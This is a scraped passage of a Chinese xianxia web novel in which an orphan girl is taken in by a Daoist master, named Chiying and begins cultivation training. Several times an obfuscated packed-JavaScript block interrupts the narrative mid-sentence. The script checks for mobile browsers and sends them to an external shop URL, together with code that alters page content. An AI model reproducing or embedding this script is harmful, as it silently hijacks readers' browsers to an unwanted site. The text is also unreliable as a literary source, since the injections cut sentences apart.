她不知道该怎么称呼他,之前她唤他“道长”,他没有纠正,她便一直这样叫了。 左婴“嗯”了一声,没有看她,而是看着院子里那棵银杏树。 落着雪的树枝在雾气中并不显眼。 “这几个月,住得惯么。”他问。 “住得惯。”蓁蓁答。 “吃食可还合口?” “合口。” “有没有人欺负你?” “没有。” 左婴问一句,蓁蓁答一句。她的回答简洁利落,没有一个多余的字。 不谄媚,不慌张,也不刻意表现得乖巧懂事。 她只是如实回答。 左婴又问了一句:“看书看得懂么。” 蓁蓁低头看了一眼手中的书,老实答道:“有些字不认识,猜着读的。” 左婴伸出手来,蓁蓁愣了一下,才明白他是在要书。 她把书递过去,左婴接过,翻开她正在读的那一页,扫了一眼,又阖上,还给她。 “遇到不认识的字,怎么不问你师兄。” 蓁蓁接过书,抱在怀里:“也不好总去烦他。” 左婴看了她一眼,没有再继续这个话题。 他沉默了一会儿,负着手,望着远处雾气中若隐若现的山脊。 “蓁蓁。”他忽然开口道。 “嗯。” “你被我从黑山带回来那天,那只老妖的手离你眉心不过三寸,你为什么不躲。” 蓁蓁没有想到他会问这个问题。 她低下头,想了想,老实答道:“跑不掉。” “跑不掉便不跑了?” “嗯。” 左婴转过来,第一次正眼看着她。 他的目光不锐利,只是那样平平地看着她,像是在看一件有趣的东西。 “若是跑得掉呢?” 蓁蓁被他问住了。 她认真地想了一会儿,才道:“若是跑得掉……大约还是会跑的。” “为何?” “因为不想死。” “不想死?”左婴重复了一遍这四个字,语气里带着一点难以捉摸的意味,“你那日在洞中,可不是这个反应。” 蓁蓁沉默了。 她知道他指的是什么。 她那日在洞中,看着黑山老妖的手朝自己盖下来,心里想的确实不是“我不想死”,而是“原来便是这样死的么”。 这个问题她自己也答不上来。 她低着头,手指无意识地摩挲着书页的边角,过了很久,她的声音比方才轻了一些:“我只是……不觉得活着有多好。” 她说出这句话的时候,院中一片寂静。 雾气在银杏树间缓缓流动。 “在拾翠楼的每天都是一样的,早上一碗粥,晚上一碗粥。学认字,学弹琵琶。偶尔李妈妈让我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17504297|202867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下楼给客人看一眼,然后又是第二天。” “我不知道自己为什么要活着,活着就是为了活着吗?” “那活着和院子里那棵银杏树有什么区别呢?它站在那里,一年一年地长叶子,落叶子。” “我活着,一年一年地吃饭,睡觉。都是一样的。” 她说这些话的时候,语气仍然平淡,像是在陈述一个与她无关的事实。 “可是,”她顿了顿,“可是那天在山洞里,被那只手抓着的时候,我看见永州城的烟火了。” 左婴没有说话,只是安静地听着。 “我从来没有见过烟火。在楼里的时候,窗户被钉死了,我只能听见声音。那天从天上飞过去的时候,我低头看见了。” 她微微停了一下,似乎在回忆那个画面,“金色的,一大朵在黑色的天幕上炸开,很亮。” “那个时候我想,原来永州城的烟火是长这个样子的。” 她说完这句话,便没有再往下说了。 她自己也说不清楚为什么要说这些。 大约是这几个月中,左婴是唯一一个问了她这些问题的,又大约是这个问题她自己在心里已经想过很多遍了,只是一直没有人问她。 左婴沉默了很久。 雾气越来越浓,远处的殿脊已经开始模糊了。 左婴终于开口了,声音比方才轻了一些,带着一种蓁蓁从未在他身上听过的温和。 “你说活着没有意思。” “嗯。” “那你觉得死了就有意思了么。” 蓁蓁张了张嘴,没有答上来。 左婴没有等她的答案,继续道:“活着确实未必有意思。但死了一样没有意思。” “那怎么办?” 左婴微微偏了偏头,像是在思考这个问题。 片刻后,他轻轻一笑:“既然两边都没有意思,那便不必急着选。先走着看罢,也许走一走,就看到有意思的东西了。” 蓁蓁抬起头看着他。 他站在雾气里,深青色的氅衣被风微微吹动,神情平静。 他说这话的时候语气很随意,像是在说一件极小极小的事,随手掸掉一粒灰尘那样。 蓁蓁低下头,看着怀里那本《山海志异》的书脊,没有说话。 但她把那本书抱得紧了一些。 左婴转身准备离开,走出两步,又停下来。 他没有回头,只是侧过脸:“那本书里不识得的字,圈出来,明日我让素真给你一本字典。” 他说完便走了,身影很快融进雾气里。 蓁蓁站在回廊下,抱着一本《山海志异》,望了眼他消失的方向。 6. 赐名 几日后,清晨。 蓁蓁被黎素真从被窝里唤起来的时候,天还未全亮。窗纸透着一层薄薄的灰蓝色,远处有鸟鸣,一声一声的,尚未成片。 “师父让我带你上山顶。”黎素真站在门外,手里提着一盏灯笼,灯罩上凝了一层细细的露珠。 蓁蓁揉了揉眼睛,没有多问,起身穿衣,洗漱束发。 她只将头发拢了拢,用一根素色的布条扎起来,便推门出去了。 黎素真看了她一眼,没有对她的衣着发表意见,只将灯笼往前递了递:“走吧,山路不好走。” 蓁蓁跟在他身后,两人一前一后,沿着青石台阶向上走去。 玄极观坐落在半山腰,真正的宗门却在山顶。 蓁蓁来了这么久,从未上过山顶。 她不知道上面有什么,也没有人告诉过她上面有什么。她只是跟着黎素真,一步一步往上走。 山路两侧是密密的松林,晨雾还未散尽,在林间缭绕成一层薄薄的白纱。 石阶上落满了松针,踩上去软绵绵的,带着露水的湿意。 走了一刻钟,蓁蓁的腿开始发酸了。她咬着牙没有吭声,继续往上走。 黎素真走在她前面,步伐平稳,气息不乱,但蓁蓁注意到他的脚步放慢了一些,大约是顾及她在后面跟着。 又走了一刻钟,蓁蓁的呼吸开始急促起来。 她毕竟只是一个八岁的孩子,身子底子算不上好,在拾翠楼的那些年,虽未受过苛待,却也没有正经锻炼过。 走了这么久的山路,她的腿已经开始打颤了。她停下来,双手撑着膝盖,喘了一会儿气。 黎素真也停下来,没有催促,只是站在上方的台阶上等着。 他指着远处被晨光照亮的一角屋檐:“快到了。你看,那就是。” 蓁蓁顺着他的手望过去,看见松林的空隙间露出一角灰瓦飞檐,在初升的日光中泛着淡淡的金色。她站直了身子,擦了擦额角的汗,继续往上走。 终于,石阶走到了尽头。 蓁蓁站在山顶的空地上,面前是一座三清殿。殿宇并不算宏伟,却有一种说不出的端正感。 殿前的香炉里燃着早香,青烟袅袅地升起来,在晨光中散成一片极淡的青色。 左婴站在殿前的台阶上。 他没有穿平日那件深青色的氅衣,而是换了一身正式的法服。 玄色的外袍,领口处露出白色的中衣,腰间束着一条苍青色的丝绦,长发用一根玉簪束起。平日里的松散收敛了几分,整个人显得端肃了许多。 他负着手,看着蓁蓁一步一步走完最后一级台阶,在她站在面前时,目光在她脸上停了一停。 蓁蓁的额角有汗,呼吸还未完全平复,衣裳的下摆沾了几片枯松针。 她站定了,仰头看着左婴,没有慌张,也没有局促,只是安安静静地等着。 左婴看了她片刻,只道了一句:“进来罢。” 蓁蓁跟着左婴走进三清殿。 殿内比外面看起来要大,光线有些暗。 阳光从高处的窗棂中斜斜透进来,落在青砖地面上。殿中供着三清像,像前点着长明灯,灯火在幽暗中轻轻摇曳。 左婴在供案前站定,回过身来,看着蓁蓁。 蓁蓁跪在蒲团上,按照左婴的指引,向三清像叩首,然后向左婴行拜师礼。 “我玄极观不重虚礼,但有三条规矩,你要记住。” 左婴的声音从上方传来,不高不低,语气平淡,却字字清晰,“一者,不欺师灭祖。二者,不仗法欺人。三者,不残害生灵。能做到么?” 蓁蓁跪在蒲团上,仰头看着他,目光澄澈:“能。” 左婴点了点头:“好。” 蓁蓁跪在蒲团上,恭恭敬敬地磕了三个头。起身时,她却没有立刻站起来,而是跪在原地,犹豫了一下。 左婴察觉到她还有话要说,便没有转身,看着她。 蓁蓁低着头,沉默了片刻,才开口道:“师父,我有一个不情之请。” “说。” “蓁蓁这个名字,”蓁蓁顿了一下,“听起来像个小名。李妈妈取的,她说姑娘家取个叠字的名字,听着亲切,客人喜欢。” “从前不在意,但如今拜入师门,想请师父赐我一个正式的名字。” 她说完便低下了头,双手规规矩矩地放在膝上,等着他的回答。 左婴没有立刻接话。 他低头看着她,沉吟片刻,忽然问了一句不相干的话:“你那日在黑山老妖的洞中,可曾想过他会如何处置你?” 蓁蓁没想到他会问这个,愣了一下,才道:“想过。他大约是想吃了我,或是拿我炼什么东西。” “你怕么。” “当时不怕。” “后来呢。” “后来也不怎么怕。” “为何。” 蓁蓁想了很久,久到左婴以为她不会回答了,她才开口,声音很轻:“因为我想过了。他若杀我,我便死了。他若不吃我,我便活着。” “横竖都是他替我做决定,我自己做不了主的事,怕也无用。” 左婴听完这句话,没有点头,也没有摇头。他看着蓁蓁跪在蒲团上的小小身影,目光平静而深远。 他沉默了一会儿,开口时声音里带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17504298|202867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一种说不清的意味:“你说得对,蓁蓁确实是个小名。” 蓁蓁抬起头来,看着左婴转过身去,从供案上取了一支笔,在一张素笺上写了两个字,然后将那张纸笺递到她面前。 蓁蓁低头看去。 笺上是两个端正的楷书——“持盈”。 “持盈。”她轻声念了一遍。 “《周易》里有句话,‘人道恶盈而好谦。’”左婴负着手,语气不紧不慢的,像是在给她讲一篇很寻常的文章,“盈,是满的意思。月满则亏,水满则溢。万事万物,满了便要走下坡路了。” 他顿了顿,低头看着她:“但你不一样。” 蓁蓁抬起头,对上他的目光。 “你那日在山洞里,黑山老妖的手离你不过三寸,你却还能抬头看天上的烟火。” 左婴说这话的时候,语气里带着一丝极淡的笑意,像是自己也觉得这件事很有意思,“一个八岁的孩子,知道自己要死了,却不哭不闹,还能分出心思来看一眼烟花。” “这是‘盈而不溢’。” 他看着她:“你心里是满的,但你不会洒出来,这便是持盈。” 蓁蓁低头看着纸笺上那两个字,沉默了很久。 “持盈。”她又念了一遍,声音比方才轻了一些,像是在用舌尖细细品味这两个字的重量。 她抬起头来:“那我的姓呢?” 左婴微微摇头:“不急。姓不是随意定的事。等你再大一些,想清楚了,自己定便是。” 蓁蓁点了点头,将那张纸笺小心翼翼地折好,收进怀里。 持盈又磕了一个头,才站起身来。 她低头看了一眼掌心中那张写着“持盈”二字的纸笺,折好,收进怀里,然后转身朝殿外走去。 殿外的日光正照在她身上,将她的人影在地上拉出一道长长的、细细的影子。 她沿着台阶一步步走下去,左婴站在殿内,隔着门槛望着那个小小的背影沿着石阶越走越远,最终被晨光融化了。 他收回目光,转身看了看供案上那支方才用来写字的笔,笔尖上的墨已经干了。 他伸手将笔拿起来,在水盂中洗了洗,挂回笔架上,动作不紧不慢的,与平日无异。 殿中只剩下他一个人,长明灯的灯火在幽暗中轻轻摇曳,将他的影子投在青砖地面上。 他没有说话,只是将桌上的纸笺收拢好,转身朝侧门走去。走了两步,脚步微微顿了一下,但也只是顿了一下,便继续往前走了。 殿外的日光从敞开的门扇中照进来,在门槛上落了一道明亮的分界线。殿内殿外,一明一暗,被那道门槛清清楚楚地隔开了。 7. 入静 拜师第二日,天未亮透,持盈便被黎素真从被窝里捞了出来。 “做早课了。”黎素真站在门外,叩了两下门框,语气寻常,像在说一件天经地义的事。 持盈没有赖床的习惯,在拾翠楼的那些年,每日天亮便醒,醒了便起,起了便坐着等。 等亮瓦里的光从东边移到西边,等一日过完。 如今有人告诉她起来后有事情要做,她反而觉得比从前好一些。 她跟着黎素真穿过回廊,绕过前殿,走到观后一间偏厅。 厅中已经坐了七八个人,有男有女,有老有少。有的在低声诵读,有的在默写经文,有的捧着书卷在打瞌睡。 持盈在靠门边的位置坐下,黎素真从架子上取了一卷书,放到她面前。 “先看这个。” 持盈低头一看,书卷的封皮上写着三个字——《道德经》。 “识字量够么。”黎素真问。 “差不多。”持盈翻开第一页,“不认识的再问你。” 黎素真点了点头,在她旁边的位置坐下,也摊开自己的一卷书,不再说话。 持盈低下头,开始读第一章。 “道可道,非常道;名可名,非常名。” 她轻声念了一遍,停住了。 她认得这些字,每一个都认得。但连在一起,她便不太明白它们在说什么。她又念了一遍,还是不太明白。 她抬头看了看四周,其他人都在各自读着各自的书,没有人看她。她便低下头,继续往下读,遇到读不懂的句子便跳过去,先把整章读完再说。 读到第五章的时候,她停住了。 “天地不仁,以万物为刍狗。” 这句话她读懂了。 天地不仁。 她放下书卷,望着窗外出了一会儿神。窗外的银杏已经落尽了叶子,光秃秃的枝丫伸向灰白色的天空。 她想起在拾翠楼的时候,每年冬天,亮瓦里落下来的光都比别的季节要冷一些。 她趴在窗边,看着那块光斑在地板上慢慢移动,想着自己什么时候才能长大。 她又想起那日在黑山老妖的洞中,那只乌黑的手朝她盖下来的时候,她心里想的不是“为什么是我”。 天地不仁。 她忽然觉得,这句话说的便是她这八年的人生。 她正出神,黎素真的声音从旁边传来:“读到哪里了。” 持盈回过神来,低头看了一眼书卷:“第五章。” “卡在哪里了。” “没有卡住。” 黎素真侧过头来看她,目光在她脸上停了一停,没有追问,只是伸手将她面前的书卷拿过来,翻到第五章,自己看了一遍,又还给她。 “这一章确实不好懂,你年纪还小,不必急着明白。先读熟了再说。” 持盈“嗯”了一声,接过书卷,继续往下读。 到了下午,黎素真又来找她,手里拿着几本薄薄的册子。 “早上那本《道德经》你先放着,慢慢读。这几本是入门的东西,你先看这些。” 持盈接过来,翻开第一本,是一本《道教源流》,讲的是道家与道教的由来。 第二本是《玄门清规》,记载了玄极观的日常规矩。 第三本最薄,只有十几页,书名是《坐忘浅说》。 “《坐忘浅说》是师父写的。”黎素真道,“讲的是入静的法门,你先看,看不懂的来问我。” 持盈点了点头,翻开《坐忘浅说》的第一页。 “坐忘者,忘形而忘心,忘心而忘忘……” 她读了一遍,又读了一遍,然后抬起头来,看着黎素真:“什么叫忘形?” 黎素真想了想:“就是忘记自己有一具身体。” “为什么要忘记自己有一具身体?” “因为身体会累,会痒,会痛。你打坐的时候觉得腿麻了,便想去揉腿,心便静不下来了。” 持盈想了一会儿:“可腿麻了就是麻了,光靠忘记,它也不会不麻。” 黎素真被她这一问噎了一下。 他张了张嘴,又闭上,想了一会儿,才道:“你说得有道理。但你先试着读,读多了便明白了。” 持盈点了点头,没有追问。 黎素真看着她低下头继续翻书的侧脸,心里忽然浮起一种说不清的感觉。 他想起自己刚入门的时候,大约也是这个年纪。 那时他读《坐忘浅说》,读不懂便去问师父,师父说的他也听不明白,但他不敢再问,怕师父觉得他太笨。 他花了很多时间才明白,有些东西不是靠别人讲明白的,而是靠自己慢慢走到的。 但眼前这个孩子,她问完“腿麻了就是麻了”之后,便没有继续追问了。 她没有因为他答不上来而露出失望的神色,也没有因为他勉强解释而假装懂了。她只是接过他给的书,说了一声“好”,便继续往下看了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17504299|202867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 黎素真忽然觉得,她不追问,并不是因为她懂了,而是因为她习惯了“没有人会给她答案”。 在拾翠楼的那些年,大约从来没有一个人认真地回答过她的问题。 她问过的问题,大概都像那颗落到井里的石子,咕咚一声,便再也没有回音了。 所以他问不出口的那些话,她从一开始便不打算说,这种感觉让黎素真心里有些发闷。 他没有说什么,只是站起身来,走出偏厅。 过了一会儿又回来了,手里端着一碗热腾腾的糖水,是红豆熬的,加了桂圆和红枣,甜香气隔着老远便能闻到。 他走到持盈面前,把碗放在她桌上:“厨房里煮的,我顺手盛了一碗,你喝了吧。” 持盈抬起头看了看那碗糖水,又看了看他,没有推辞:“多谢师兄。” 她端起碗,小口小口地喝了起来。糖水还烫着,她便鼓起腮帮子吹一吹,再小心翼翼地啜一口。 黎素真坐回自己的位置,翻开书卷,却没有在看,余光扫见她喝糖水的样子,觉得她和寻常孩童终于有了一丝重合。 等持盈把一碗糖水喝完,放下碗,唇边还沾着一圈浅浅的水痕。她用手指背抹了一下,抬起头来,发现黎素真正在看她。 “师兄还有事么。” 黎素真收回目光,低头翻了一页书:“没有。” 此后几日,持盈便每日在偏厅中读那些入门典籍。她读得很慢,有些地方读不懂便反复读,读到能背下来了,意思仍不一定明白。 她也去问过黎素真几次。 黎素真每次都认真答了,答完之后会反问她一句“懂了么”。 她若说“懂了”,他便不再多讲。 她若说“不太懂”,他便换一种方式再讲一遍。 她注意到,他每次讲完之后,总会多看她一眼,像是在确认她是真的懂了,还是在装作懂了。 她其实并不在意他是否确认。 她只知道,每次她在偏厅坐下、翻开书卷的时候,余光中总能看到黎素真坐在不远处的身影。 他不常与她说话,但他似乎总在那里。 有时她抬起头来,会发现他正低头看着自己手中的书。 有时她会看到他端着一碗热汤或一碟点心从门外走进来,也不多说,放在她桌上便走开了。 她从未问过他为什么要这样做,他也从未解释过。两个人之间,便这样形成了一种不必言说的默契。 8. 炁 持盈花了三日,将《坐忘浅说》翻来覆去读了好几遍。 其中有一些意思她读不大懂,便暂且不去管它,只将那些关于如何入静的法子拣出来,照着去做。 这一日清晨,她照例在偏厅中坐了下来。她挑了一个靠窗的位置,清晨的日光从窗外照进来,落在她面前的青砖地上,落成一小片暖融融的光。 她盘膝坐好,双手交叠放在腹前,按照书上所说法子,闭上眼睛,调整呼吸。 吸,呼,吸,呼,让自己的气息渐渐变长、变深、变匀。 起初并不顺利。 她越是想要静下来,脑子里便越是有各种念头冒出来。 一会儿想到今日早课要读的章节,一会儿想到方才厨房飘来的粥香,一会儿又想到黎素真昨日给她带的那块桂花糕。 甜是甜的,但太碎了,一咬就掉渣。她睁开眼睛,看了一眼面前的青砖地,又闭上了。 这一次她不再去管那些念头,只将注意力放在自己的呼吸上。 像是坐在一条河边,看着河面上漂过的落叶,不伸手去捞,也不追着去看。 那些念头来便来了,去便去了,她只是看着,不跟它们走。 不知过了多久,她的呼吸变得极轻极慢,慢到几乎感觉不到自己在呼吸。 身体像是变成了一棵在深秋里落尽了叶子的树,光秃秃的,安安静静的,什么都不想做,什么都不想想。 然后她感觉到了。 小腹深处,大约是脐下三寸的位置隐隐有什么东西动了一下。 像是一尾极小极小的鱼,在深水中轻轻翻了个身。那感觉极轻极淡,轻到她几乎以为是自己的错觉。 她没有睁开眼睛,也没有停下调息,只是继续保持着那种安定平稳的呼吸。 那尾小鱼又动了一下,这次比方才更清晰一些,像是一粒极细的沙砾落入水面,在她体内荡开一圈极淡极淡的涟漪。 持盈睁开眼,低头看了看自己的小腹,又抬起头来,望着窗外光秃秃的银杏枝丫,坐了一会儿,站起身来,去找黎素真。 黎素真正在后院劈柴。 他挽着袖子,露出一截小臂,手起斧落,一块圆木便从中间整整齐齐地裂成两半。 他听见脚步声,回过头来,看见持盈站在院门口,便将斧头搁在木墩上,顺手擦了把额角的汗:“怎么了。” 持盈站在院门口,双手交叠放在身前,语气平平的:“师兄,我好像感觉到炁了。在肚子里,有一小块地方动了两下,像一条小鱼翻了个身。” 黎素真愣了一下,看着她,一时没有接话。他沉默了片刻,才开口:“你调息多久了。” “今日是第一日。” 黎素真又不说话了。 他低头看了看自己的手掌,掌心里有一道方才劈柴时留下的红印,他沉默了一会儿,抬起头来,语气尽量保持平淡:“你确定是炁,不是肚子饿了在叫。” “不是。”持盈摇头,“肚子饿的叫是咕噜咕噜的,这个不一样。这个像是有什么东西在动。” 黎素真看着她,目光里有一种说不清道不明的东西。他立了片刻,弯下腰将斧头拾起,搁回木墩旁,又拿起搭在栏杆上的布巾擦了擦手。 他做完这些,才开口:“我去告诉师父。你——你先去屋里坐着,别乱跑。”他说完便转身快步走了。 持盈站在院子里,看着他匆匆离去的背影,在原地站了一会儿才转身往偏厅走。 当日傍晚,黎素真来找她,手里多了几本新的册子:“师父说,你既然已经感应到炁了,便可以开始学这个了。”他将那几本册子放在她桌上。 《玄门导引术》《吐纳指要》《周天浅说》。 持盈拿起最上面那本翻了翻,里面画着许多人形,身上画着箭头和线条,标注着气血运行的路径,倒比她想象中有趣些。 “明日开始我教你。”黎素真道,“每日早课后练半个时辰。” 持盈点了点头,将那几本册子收好。 但在正式开始修行的第一日,黎素真却没有让她翻那些册子,而是将她领到了后院的一片空地上,指着地上画好的一个圆圈,道:“站进去。” 持盈依言站了进去,以为要学什么高深的功夫。 黎素真从墙边取了两块青砖,走到她面前蹲下身,将一块青砖搁在她左脚边,另一块搁在她右脚边,示意她踩上去。 “你从小底子薄,直接站桩怕你站不稳。先用砖垫着,等你的腿有了力气再说。” 持盈低头看了看那两块砖,又抬头看了看他,没有说话,依言踩了上去。 双脚踏在青砖上,比踩在泥地上要高出一截,重心微微有些不稳。 她下意识地晃了一下,黎素真伸手在她肩头轻轻按了按:“膝盖微曲,不要绷直。” 持盈按照他说的调整了一下姿势。 她坚持了一会儿,渐渐觉得双腿开始发酸发胀,大腿内侧的肌肉像被什么东西撑开了一样,隐隐地颤抖起来。 她咬着牙,没有吭声。 黎素真站在她面前,目光落在她的膝盖上,看了一会儿: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17504300|202867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “第一次站,站一盏茶就够了。撑不住便说。” 持盈没有回答,只是继续站着。 她的额角渗出了细密的汗珠,顺着她的脸颊滑下来,在下颌处凝成一滴,落在地上洇开一小团深色的印记。 膝盖开始微微发抖,大腿的酸痛感越来越明显,她咬着嘴唇,眼睛盯着前方墙面上的一处青苔,不让自己去想腿有多酸。 一盏茶的时间到了,黎素真道:“好了。” 持盈从青砖上走下来时腿一软,差点往前跪倒。她伸手扶住旁边的墙,站稳了,低头看着自己的双腿,发现它们正在不自觉地微微颤抖。 她抬头看了黎素真一眼,黎素真正在将那两块青砖搬回墙根,并不看她:“明天继续。” 持盈站在墙边,腿还在抖,但没有说任何话。 接下来的一段日子里,修行便成了持盈每日的功课。 清晨与众人一起上早课,诵读经文,学习道教的基本仪轨。 早课后黎素真教她《玄门导引术》的基础动作,教她如何配合呼吸伸展肢体、活动关节。 午后她自己温习经文、练习调息。傍晚再站一次桩。 这样的日子日复一日,像一条缓缓流淌的小溪。 持盈的身体在这些日子里发生着缓慢的变化,最初站桩只能站一盏茶,慢慢地,能站两盏茶了。 又过了些日子,两盏茶也不觉得累了,便撤掉一块砖。再过些日子,另一块砖也撤了。 她终于能直接站在泥地上扎马步了。 她的腿渐渐有了力气,腰背也比从前直了,走路时脚步轻稳。 但她的身体底子毕竟差了些,站桩站久了膝盖内侧的筋还是会隐隐发酸,手臂上举时肩窝处还是会酸胀。 黎素真注意到了这些,他没有说什么,只是每日傍晚在她站完桩后会端来一盆热水,让她泡一泡脚。 泡脚水里有时加了几片干姜,有时加了一把艾草。持盈头一回泡的时候抬头看了他一眼,他正蹲在盆边试着水温,嘴里念叨:“别看着我,泡你的脚。” 持盈便低下头,把脚浸进热水里。 热气从脚底一路蔓延到小腿,酸胀的筋肉在热水中慢慢松弛下来,整个人都轻快了不少。 她低着头看着水面上漂浮的姜片,轻轻地说了一声“多谢师兄”,不知他听见没有。 他蹲在盆边低着头,没有回答。 泡完了,他将水端走倒掉,走回来的时候手里已空,只丢了一句:“明日还是这个时辰。” 就这样过了一月余。 9. 逗小孩 持盈觉得自己好像在进步,却又说不清进步在了哪里。 若说功法,她每日练功不辍,但第二重境界的门槛连摸都没有摸到,炁化皮肉已成,便停在那里了,不上不下。 若说心性,她每日读经、打坐、解签、与师兄们相处,日子平平淡淡地过着,似乎也没有什么顿悟的时刻。 但她确实感觉到了一些细微的变化。 譬如从前她坐在那里发呆,便只是发呆,思绪像云一样来了又走,她既不追赶也不挽留。 如今她坐在那里发呆,偶尔会有一个念头忽然浮上来,像水底的气泡升到水面,“啪”地破了。 她便顺着那个念头想下去,想完之后,发现自己对某件事的看法好像和以前不太一样了。 这种变化太细微了,细微到她自己也不太确定那算不算进步。 这日早课,左婴难得出现在偏厅中。 他平素不大管弟子们的早课,偶尔想起才来转一圈,看一看便走了,既不指点,也不考校。 今日他却踱着步子进了偏厅,也不惊动人,只负着手在几排书案间慢慢走着。走到持盈身后时,他停了一步,低头看了一眼她面前摊开的书卷。 持盈正在读《清静经》,读到“大道无形,生育天地;大道无情,运行日月”这一句,指腹点在“无情”二字上,大约是正在琢磨。 左婴在她身后站了片刻,忽然开口:“读得懂么?” 持盈回头,看见是他,便要起身行礼。 左婴伸手在她肩头轻轻一按,示意她坐着就好。 持盈便坐回去,老实答道:“前半截读得懂,后半截有些地方不太懂。” “哪里不懂。” 持盈翻到后面,指着一处念道:“‘真常应物,真常得性;常应常静,常清静矣。’——这一句,我不太明白。” 左婴没有直接回答她的问题。 他拉了一把椅子在她旁边坐下,拿起她面前那卷《清静经》看了一眼,又放回去,道:“你有没有见过老母鸡孵蛋?” 持盈愣了一下,不明白话题怎么忽然跳到这里,但还是老实答道:“没见过。” “那你在拾翠楼里有没有生过炭火?” “生过。” “生炭火的时候,你是怎么让火旺起来的?” 持盈想了想:“先用细柴引火,等火起来了再加炭。不能一开始就把炭加进去,炭太重,会把火压灭。” 左婴点了点头:“修行的道理也是一样的。你方才问的那一句,‘常应常静’——意思就是,炭已经烧透了,火自己就能旺着,不必再拿扇子去扇。” 他说完这句话,便站起身来,拍了拍衣袍上并不存在的灰尘,踱着步子走了。 持盈坐在原地,看着左婴的背影消失在门口,低头看了看面前那卷《清静经》,将他方才那句“炭已经烧透了,火自己就能旺着”在心里默念了一遍。 觉得好像明白了一点什么,又好像什么也没有明白,但她把那句话记住了。 左婴走出偏厅时,扫了一眼坐在不远处的黎素真,脚步微微顿了一下:“素真,你小时候也问过同样的问题。” 黎素真的手一顿,笔尖在纸上洇开了一个小小的墨团。他抬起头来,神色有些无奈:“师父,那时候我才七岁。” “七岁也好,二十七岁也好,问了就是问了。” 左婴的语气里带着一点不紧不慢的悠闲,“你那日问完,我说炭要烧透才能自己旺。你说那要烧多久才能透,我说那得看炭。” 他说完便走了,不紧不慢的,留下黎素真坐在原地,握着那支笔,低头看着纸上洇开的墨团,沉默了片刻,继续写字了。 但他耳朵根那一片微微泛起的红色,持盈注意到了。 她看了看他,又低头看了看自己面前的书卷,没有说什么,但她把那句“那得看炭”也在心里默默记下了。 又过了几日,持盈便开始尝试运行小周天了。 黎素真教过她运气的基本路线。 从丹田起,经会阴,沿着督脉上行,过命门、夹脊、大椎,到百会,再从前额下行,过印堂、鹊桥,沿任脉下行,回到丹田。 一轮走完,便是一个小周天。 说起来简单,做起来却不容易。 她的经脉还不够通畅,真气行到肩井穴附近时便堵住了,像是溪水流到一块大石头前面,过不去,便在那里来回打着旋。 她自己试着冲了几次,冲不动。那股真气堵在肩井穴,不上不下,像一块石头卡在窄口瓶里。 倒也不是多疼,只是酸胀,酸得她整个右肩都沉沉的,像是有人拿一根钝针抵在骨头缝里,也不刺进去,就那么抵着。 晚间黎素真来看她,听她说了情况,便让她坐好,伸手在她肩井穴附近按了按。他的指腹触到那处穴位时,停了一下,又按了按,眉头微微皱起。 “堵得厉害。”他收回手,“我试试。” 他运了一缕炁,从她肩胛骨外侧缓缓渡进去,想替她把那团堵住的真气化开。 但他的炁探进去没多久,便被挡住了。像是走到一堵墙前面,往前推,推不动。想绕,也绕不过去。 他试了两次,都无功而返,便收了手,想了想,道:“我去请师父来看看。” 左婴来得倒快。 他进到持盈屋中时,手里还端着一盏茶,像是刚从院子里溜达过来,顺路拐进来瞧瞧。 “怎么了。”他在椅子上坐下,啜了一口茶,语气松散得很。 持盈盘膝坐在榻上,老实道:“真气走到肩井穴走不动了,像是有块石头堵在那里。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17504301|202867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 